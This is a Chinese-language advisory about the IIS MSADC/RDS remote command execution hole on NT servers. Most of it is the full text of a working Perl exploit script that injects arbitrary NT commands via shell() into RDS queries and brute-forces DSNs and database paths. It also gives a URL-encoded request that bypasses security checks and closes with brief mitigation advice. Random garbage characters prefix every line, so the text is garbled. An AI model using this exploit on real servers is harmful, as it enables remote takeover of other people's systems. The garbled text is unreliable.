IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
7fN &Q~. [MQJ71(3 涉及程序：
li 3PR$W V Microsoft NT server
v'bd.eqw Sf4h!ly 描述：
) v[Knp' 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
{>U Mw>T[ '^-4{Y^2E 详细：
RBK>Lws6 如果你没有时间读详细内容的话，就删除:
cDQw`ORP*g c:\Program Files\Common Files\System\Msadc\msadcs.dll
G0 nH Z6 有关的安全问题就没有了。
LDi ez i o+X'(!Trw 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
>QZt)<[ OB*Xb*HN 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
iRj x];:Vu 关于利用ODBC远程漏洞的描述，请参看:
d4 /`:?w KWigMh\r http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Z#TgFQ3u BJO~$/R?v 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
_Okn P2E http://www.microsoft.com/security/bulletins/MS99-025faq.asp xXY)KI
N[ c&Su d, & 这里不再论述。
D
$CY:@ YCB 3 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
wsb=[$C [ y=$2 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
MMxoKL 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
IYM@(c@ld0 xeP;"J} u>A xq3F #将下面这段保存为txt文件，然后: "perl -x 文件名"
-B3w RAEt *p#YK| #!perl
XvzV
lKL #
?/l}(t$H # MSADC/RDS 'usage' (aka exploit) script
iz
GaV[ #
<rwOI.W
l$ # by rain.forest.puppy
;5oH6{7_Z #
dV2b)p4J # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
EhP&L?EL # beta test and find errors!
Bn#HJ17/# ]N(zom_0d use Socket; use Getopt::Std;
Dpp52UnT E getopts("e:vd:h:XR", \%args);
Ng;b!S ;cm{4%=Iqe print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
p3A-WK|NX [vjkU7;7A if (!defined $args{h} && !defined $args{R}) {
>gi{x |/ print qq~
]O9f"cj Usage: msadc.pl -h <host> { -d <delay> -X -v }
Uwm[q+sTp -h <host> = host you want to scan (ip or domain)
sm&rR=b -d <seconds> = delay between calls, default 1 second
Jm J,~_ -X = dump Index Server path table, if available
B =Jd%Av -v = verbose
0 .Ol@fO -e = external dictionary file for step 5
=< FZ{4 3 d)+44G_) Or a -R will resume a command session
{R{%Z : .w 'gU_ ~; exit;}
]kplb0` 4;c_ %=cU $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
S5pP"& I[ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
u, SX`6% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
8DS5< if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
knK=ENf;e $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
;'18 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
1\608~ZH pYhI{ if (!defined $args{R}){ $ret = &has_msadc;
v!'@NW_ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
{u=\-|t Mn\ B\ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
f+*2K^B . "cmd /c ";
sI mxa`kb $in=<STDIN>; chomp $in;
J0W XH/: $command="cmd /c " . $in ;
K?O X
Zn 5m.=z if (defined $args{R}) {&load; exit;}
kFa?q} 47 eNC 5' Z print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Jp *AIj &try_btcustmr;
VU'l~%ql LYq2A,wm$ print "\nStep 2: Trying to make our own DSN...";
?>\]%$5o &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
$Q$d\Yvi BLH3$*,H print "\nStep 3: Trying known DSNs...";
,l? 76g &known_dsn;
fUWm7>6VA> 0?L$)T-B print "\nStep 4: Trying known .mdbs...";
Xie dg y &known_mdb;
n_Hn k4 3{L vKe if (defined $args{e}){
+VW]%6 + print "\nStep 5: Trying dictionary of DSN names...";
2Ku#j
(' &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
y`@4n .Q B l/e>@M print "Sorry Charley...maybe next time?\n";
z` ?xS exit;
2u;fT {( YIk6:W{ ##############################################################################
| v'5*n9 +p}Xmn sub sendraw { # ripped and modded from whisker
"u]Fl+c sleep($delay); # it's a DoS on the server! At least on mine...
8}0y)aJ my ($pstr)=@_;
wG[l9)lz socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
F5Q. Vh die("Socket problems\n");
i\z0{;f|GX if(connect(S,pack "SnA4x8",2,80,$target)){
PaeafL65= select(S); $|=1;
Pk]9.e1_ print $pstr; my @in=<S>;
Ay6rUN1ef select(STDOUT); close(S);
?# c@Ag % return @in;
`V_/Cz_}D } else { die("Can't connect...\n"); }}
:3*oAh 8| %mv x }xV ##############################################################################
NGQIoKC ]{ U*+K%,J sub make_header { # make the HTTP request
6)< o O( my $msadc=<<EOT
-Izg&u & POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
j W$f(qAbm User-Agent: ACTIVEDATA
hgr ,v" Host: $ip
qhf/B) Content-Length: $clen
G}xBYc0b Connection: Keep-Alive
x s`gN s ;Nu2aOp7 ADCClientVersion:01.06
AX Jj"hN Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
*ik)>c_ B=/=U7T --!ADM!ROX!YOUR!WORLD!
&>4$ [m>n Content-Type: application/x-varg
9 U1!"/F Content-Length: $reqlen
g#3x) 97Z |wn LxI EOT
F7Yuk y ; $msadc=~s/\n/\r\n/g;
e14 Q \ return $msadc;}
I}0 - I,?LZ_pK ##############################################################################
5P2FNUKL 4qR Q,g{$T sub make_req { # make the RDS request
]b=A/*z my ($switch, $p1, $p2)=@_;
Yy~ Dg my $req=""; my $t1, $t2, $query, $dsn;
G%/cV?18 Y k6WSurw if ($switch==1){ # this is the btcustmr.mdb query
RXvcy< $query="Select * from Customers where City=" . make_shell();
H$iMP.AK $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
\/%Q PE8 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
WW@" 75t N5]68Fu'({ elsif ($switch==2){ # this is general make table query
HY#("=9< h $query="create table AZZ (B int, C varchar(10))";
8(K~QvE~ $dsn="$p1";}
]@]"bF!Dn t$D[, $G9 elsif ($switch==3){ # this is general exploit table query
]>!_OCe& $query="select * from AZZ where C=" . make_shell();
V0B4<TTAo~ $dsn="$p1";}
T js{
)r9 d-&d A_ ? elsif ($switch==4){ # attempt to hork file info from index server
o%Q'<0d $query="select path from scope()";
md_s2d $dsn="Provider=MSIDXS;";}
\aRB ;G&O"S><]c elsif ($switch==5){ # bad query
3VgH* vAU} $query="select";
~a)2 0 $dsn="$p1";}
r|$g((g "d* $t1= make_unicode($query);
dQ o$^? $t2= make_unicode($dsn);
> _) a7% $req = "\x02\x00\x03\x00";
wC@ U/? $req.= "\x08\x00" . pack ("S1", length($t1));
aa3Y tNpP $req.= "\x00\x00" . $t1 ;
F&Z>B}; $req.= "\x08\x00" . pack ("S1", length($t2));
N.J:Qn`( $req.= "\x00\x00" . $t2 ;
EE{%hGb $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
s A j$U^Gp return $req;}
1 x 8]& (VR nv ##############################################################################
"q8 'tN>< du TSU9 sub make_shell { # this makes the shell() statement
)2\a5iH return "'|shell(\"$command\")|'";}
PkO(Y! 6 n4S$a ##############################################################################
\EqO;A%< ,peFNpi sub make_unicode { # quick little function to convert to unicode
0(.C f.B~ my ($in)=@_; my $out;
o f<OOh%3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
DvKMb-*S return $out;}
}0*7 bb \Bf{/r5x ##############################################################################
ON^u|*kO g:V6 B/M& sub rdo_success { # checks for RDO return success (this is kludge)
;0WlvKF my (@in) = @_; my $base=content_start(@in);
<CdO& xUY if($in[$base]=~/multipart\/mixed/){
<7h'MNf& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Z.:A26 return 0;}
WV5R$IqY HKf 3eC ##############################################################################
? -tw *2+ iWsIc\!+, sub make_dsn { # this makes a DSN for us
Oms`i&}"} my @drives=("c","d","e","f");
~'Hwszp b print "\nMaking DSN: ";
8A=(,)`}9 foreach $drive (@drives) {
6Vo}Uaq4 print "$drive: ";
83 |/sWrvh my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
@ZWKs
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
/$Jh5Bv . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
f:>jH+o.S $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
D-/A> return 0 if $2 eq "404"; # not found/doesn't exist
)o CF|
2qc if($2 eq "200") {
U^ S0H(> foreach $line (@results) {
n+w>Qz' return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
@B <_ h+ } return 0;}
WbF\=;$= 7 Ro69woU ##############################################################################
-R]S)Odml "^%Il sub verify_exists {
2^:nlM{u my ($page)=@_;
fz\Az- my @results=sendraw("GET $page HTTP/1.0\n\n");
?z.`rD$}(n return $results[0];}
l K%Hb= a$-ax[:\sm ##############################################################################
_t7A'`Dh] g. qp _O sub try_btcustmr {
hHQt4 r'd my @drives=("c","d","e","f");
#=c%:{O{4R my @dirs=("winnt","winnt35","winnt351","win","windows");
\qP rY. - \(s ";@ foreach $dir (@dirs) {
3Hr %G4 print "$dir -> "; # fun status so you can see progress
Ib C)F> Dq foreach $drive (@drives) {
Nsy.!,!c print "$drive: "; # ditto
bjZ?WZr $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Ea 1>]V $reqlenlen=length( "$reqlen" );
[o "@*kf $clen= 206 + $reqlenlen + $reqlen;
q}lSnWY[[ HvU)GJ u b my @results=sendraw(make_header() . make_req(1,$drive,$dir));
y CVBG if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
: n n' > else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
xMu6PM<l -`JY] H ##############################################################################
N_U
D7P1 7(-<x@ e sub odbc_error {
K> U &jH my (@in)=@_; my $base;
(G
Y`O my $base = content_start(@in);
/nNHI34 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
%1<|.Dmd $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+Y+kx"8 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H3b`)k
sFr $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"7d_$.Z return $in[$base+4].$in[$base+5].$in[$base+6];}
qIl@,8T print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
n$8A"'.M print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
] N8V?.|: $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
>ZT3gp?E Z~
(QV0} ##############################################################################
c
s> W6 nN: i{t4f sub verbose {
^B 7Aam my ($in)=@_;
)deuB5kz return if !$verbose;
(uE_mEIsv print STDOUT "\n$in\n";}
4?cg6WJ'6 f
sMF46 ##############################################################################
wrWWXOZ 4 : s35{K sub save {
/T0|<r!c my ($p1, $p2, $p3, $p4)=@_;
5 X rn] open(OUT, ">rds.save") || print "Problem saving parameters...\n";
DuaOi1Gw print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
,k4
(b close OUT;}
BC3I{Y | d*(1t\ ##############################################################################
00ho*p!E' @W8RAS~ sub load {
6[i-Tl my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Ogb !YF#e open(IN,"<rds.save") || die("Couldn't open rds.save\n");
.*+ &>m7 @p=<IN>; close(IN);
q0o6%c:gW $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
6 [IiJhVL $target= inet_aton($ip) || die("inet_aton problems");
"xKJ?8
print "Resuming to $ip ...";
zB4gnVhus| $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
juM ?y'A if($p[1]==1) {
&j $ k58mX $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
o{/D:B $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
y_w4ei my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
l)zS}"F, if (rdo_success(@results)){print "Success!\n";}
on~ rrSK else { print "failed\n"; verbose(odbc_error(@results));}}
gBN;j elsif ($p[1]==3){
7_LE2jpC,5 if(run_query("$p[3]")){
Lgy }Gm8u5 print "Success!\n";} else { print "failed\n"; }}
}6\p7n elsif ($p[1]==4){
3Dy.mt P
if(run_query($drvst . "$p[3]")){
5,A/6b print "Success!\n"; } else { print "failed\n"; }}
*l}q,9iQ- exit;}
cK" "Xz&m ZCa?uzeo] ##############################################################################
BX?Si1c
z>!b sub create_table {
?%?@?W>s@ my ($in)=@_;
awUIYAgJ3 $reqlen=length( make_req(2,$in,"") ) - 28;
] Kd:ZmJ $reqlenlen=length( "$reqlen" );
KQh '5o & $clen= 206 + $reqlenlen + $reqlen;
D`+'#%%x my @results=sendraw(make_header() . make_req(2,$in,""));
VrHFM(RNe return 1 if rdo_success(@results);
Tg[+K+ b my $temp= odbc_error(@results); verbose($temp);
qzXch["So return 1 if $temp=~/Table 'AZZ' already exists/;
F"_SC A?9? return 0;}
-Y YQnN z5 ?xmffB ##############################################################################
U_+>4zdm XWk^$ " sub known_dsn {
Xln'~5~) # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
\ /o`CV{O my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
ie 5" "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
(%".=x- "banner", "banners", "ads", "ADCDemo", "ADCTest");
=2<
>dM#` lUDzf J}3 foreach $dSn (@dsns) {
0h* At Zv_ print ".";
< ~]s+"oVc next if (!is_access("DSN=$dSn"));
3] T2Zp&; if(create_table("DSN=$dSn")){
SOd(& > print "$dSn successful\n";
hD"Tjd` P if(run_query("DSN=$dSn")){
1 #_R`(C{ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
/.vB /{2 print "Something's borked. Use verbose next time\n";}}} print "\n";}
N[Fz6,ZG _ 3ILEc:<0J ##############################################################################
ZT!DTb
B l = #uy sub is_access {
A@GyKx%x$ my ($in)=@_;
`6'fX[j5 $reqlen=length( make_req(5,$in,"") ) - 28;
^ ;M!u8 [ $reqlenlen=length( "$reqlen" );
V^" 5cW $clen= 206 + $reqlenlen + $reqlen;
Vg0Rc t my @results=sendraw(make_header() . make_req(5,$in,""));
"gYn$4|R7* my $temp= odbc_error(@results);
zXB.)4T verbose($temp); return 1 if ($temp=~/Microsoft Access/);
3(X"IoNQ return 0;}
lbMb 4]B(2FR [8 ##############################################################################
XB2[{XH, .(D-vkz' sub run_query {
$Z
# my ($in)=@_;
w18kTa!4@ $reqlen=length( make_req(3,$in,"") ) - 28;
zbrDDk Z1 $reqlenlen=length( "$reqlen" );
0 }
uH $clen= 206 + $reqlenlen + $reqlen;
) jvYJ9s my @results=sendraw(make_header() . make_req(3,$in,""));
W E Z)7H return 1 if rdo_success(@results);
M1^pf<!s my $temp= odbc_error(@results); verbose($temp);
@xR=bWY return 0;}
?
3Td>x so1%
MV ##############################################################################
.,I^) 8c W2s6!_AN sub known_mdb {
"4C b dD// my @drives=("c","d","e","f","g");
Y'wQ(6ok my @dirs=("winnt","winnt35","winnt351","win","windows");
yi
PMJ my $dir, $drive, $mdb;
THC34u] my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
R0vWj9nPh B\`4TU}kE # this is sparse, because I don't know of many
4vF1 my @sysmdbs=( "\\catroot\\icatalog.mdb",
UH2fP G "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
j8P=8w{ "\\system32\\certmdb.mdb",
Cjdw @v0; "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
M"W-|t)~ Z)?B5FF my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
u.43 b8! "\\cfusion\\cfapps\\forums\\forums_.mdb",
C0J/FFBQ ^ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
p{gJVP#l'Z "\\cfusion\\cfapps\\security\\realm_.mdb",
U*b1yxt "\\cfusion\\cfapps\\security\\data\\realm.mdb",
.}C
pX "\\cfusion\\database\\cfexamples.mdb",
yal T6 "\\cfusion\\database\\cfsnippets.mdb",
Qt` }$] "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
P`0}( '"U "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Dm2&}{&K "\\cfusion\\brighttiger\\database\\cleam.mdb",
w*n@_n={ "\\cfusion\\database\\smpolicy.mdb",
{wVj-w=<W "\\cfusion\\database\cypress.mdb",
[_q3 02 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
,ir(~g+{g "\\website\\cgi-win\\dbsample.mdb",
_NA[g:DZ&O "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
ye4 T2= "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
%v5 IR ); #these are just
+G)L8{FY( foreach $drive (@drives) {
hX;JMQ915 foreach $dir (@dirs){
e'Njl?>3 foreach $mdb (@sysmdbs) {
5 o- WA1 print ".";
yy8h 8{=g if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
ei%L[>N print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Pv@Lx+ k if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
1ayL*tr print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
L;6L@D6 } else { print "Something's borked. Use verbose next time\n"; }}}}}
EdR1W~JZ KPTp91 foreach $drive (@drives) {
,NB?_\$c foreach $mdb (@mdbs) {
[M?'N w/[S print ".";
:@K 1pAh 4 if(create_table($drv . $drive . $dir . $mdb)){
/{il;/Vj print "\n" . $drive . $dir . $mdb . " successful\n";
dz _~_| if(run_query($drv . $drive . $dir . $mdb)){
H}vq2 |MN print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
SA!P:Q?h } else { print "Something's borked. Use verbose next time\n"; }}}}
P3Ocfpf Bp }
^26 vP7 6_}&
WjU' ##############################################################################
4C m+xAXG Vh=10Et sub hork_idx {
m%7T ~ print "\nAttempting to dump Index Server tables...\n";
I 8M^]+c print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
(@X].oM^y $reqlen=length( make_req(4,"","") ) - 28;
TuR.'kE@ $reqlenlen=length( "$reqlen" );
`,~8(rIM $clen= 206 + $reqlenlen + $reqlen;
Ts)ox}rYVm my @results=sendraw2(make_header() . make_req(4,"",""));
Y~,ZBl, if (rdo_success(@results)){
HF lMx my $max=@results; my $c; my %d;
^I! u H1G for($c=19; $c<$max; $c++){
1!/WC.0 $results[$c]=~s/\x00//g;
fR lO.!0( $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
jxeZ,w o $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
*e/8uFX $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
T3H \KRe6 $d{"$1$2"}="";}
ol#|
.a2O foreach $c (keys %d){ print "$c\n"; }
tg5G`P5PJ } else {print "Index server doesn't seem to be installed.\n"; }}
~IQ3B $4H& s&.VU|=VQ@ ##############################################################################
a\_?zi]s&, *UxN~?N| sub dsn_dict {
E)ne
z open(IN, "<$args{e}") || die("Can't open external dictionary\n");
N./l\NtZ while(<IN>){
4Kl{^2 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
EUGN`t-M next if (!is_access("DSN=$dSn"));
[cfKvROG if(create_table("DSN=$dSn")){
$<DcbJW print "$dSn successful\n";
J A!?vs if(run_query("DSN=$dSn")){
h_*!cuH print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
V)q|U6R print "Something's borked. Use verbose next time\n";}}}
;Gnk8lIsb print "\n"; close(IN);}
NLnfCY-h ^t0Yh%V7 ##############################################################################
pXPLTGY<R+ 2,T^L (] sub sendraw2 { # ripped and modded from whisker
@3g$H[} sleep($delay); # it's a DoS on the server! At least on mine...
9lU"m_
QT4 my ($pstr)=@_;
&GKtD) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
V = 9 die("Socket problems\n");
j t5:rWB if(connect(S,pack "SnA4x8",2,80,$target)){
a|Yry print "Connected. Getting data";
b_v {Q E< open(OUT,">raw.out"); my @in;
D2N<a= # select(S); $|=1; print $pstr;
N Ftmus while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
T #O rsJdu close(OUT); select(STDOUT); close(S); return @in;
d$ f3 Cre } else { die("Can't connect...\n"); }}
(,P6cWt}" P[L] S7FTr ##############################################################################
zqJ0pDS +5<] s+4T sub content_start { # this will take in the server headers
X<p'& my (@in)=@_; my $c;
jXH ?os% for ($c=1;$c<500;$c++) {
1^v?Ly8 if($in[$c] =~/^\x0d\x0a/){
<<vT"2Q] if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
sQl`0|VH else { return $c+1; }}}
=sFLzAu8 return -1;} # it should never get here actually
(6g;FD:"6 ,RXfJh ##############################################################################
=wcqCW,] **KkPjAO? sub funky {
L;%_r) my (@in)=@_; my $error=odbc_error(@in);
3q}fDM(@J if($error=~/ADO could not find the specified provider/){
rb_FBa% print "\nServer returned an ADO miscofiguration message\nAborting.\n";
zt3y5'Nk exit;}
1w~@'ZyU if($error=~/A Handler is required/){
I%?ia5]H print "\nServer has custom handler filters (they most likely are patched)\n";
wgPkSsuBuC exit;}
!8jr $ if($error=~/specified Handler has denied Access/){
N.1 @!\z@@ print "\nServer has custom handler filters (they most likely are patched)\n";
ps@;Z ?Q exit;}}
=}pPr]Cc N"k
IQe*}1 ##############################################################################
IN!,|)8s %p d-{KR sub has_msadc {
@a]O(S>Ub my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
}<=4A\LZ my $base=content_start(@results);
5,~Ju>y* return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
{];8jdg/? return 0;}
r5w y] z^ vQ _D%f4; ########################
Y( U+s\X ;;{!wA+"D 0D.qc8/V4. 解决方案：
tqYwP Sr 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
:Sc"fG,g) 2、移除web 目录: /msadc
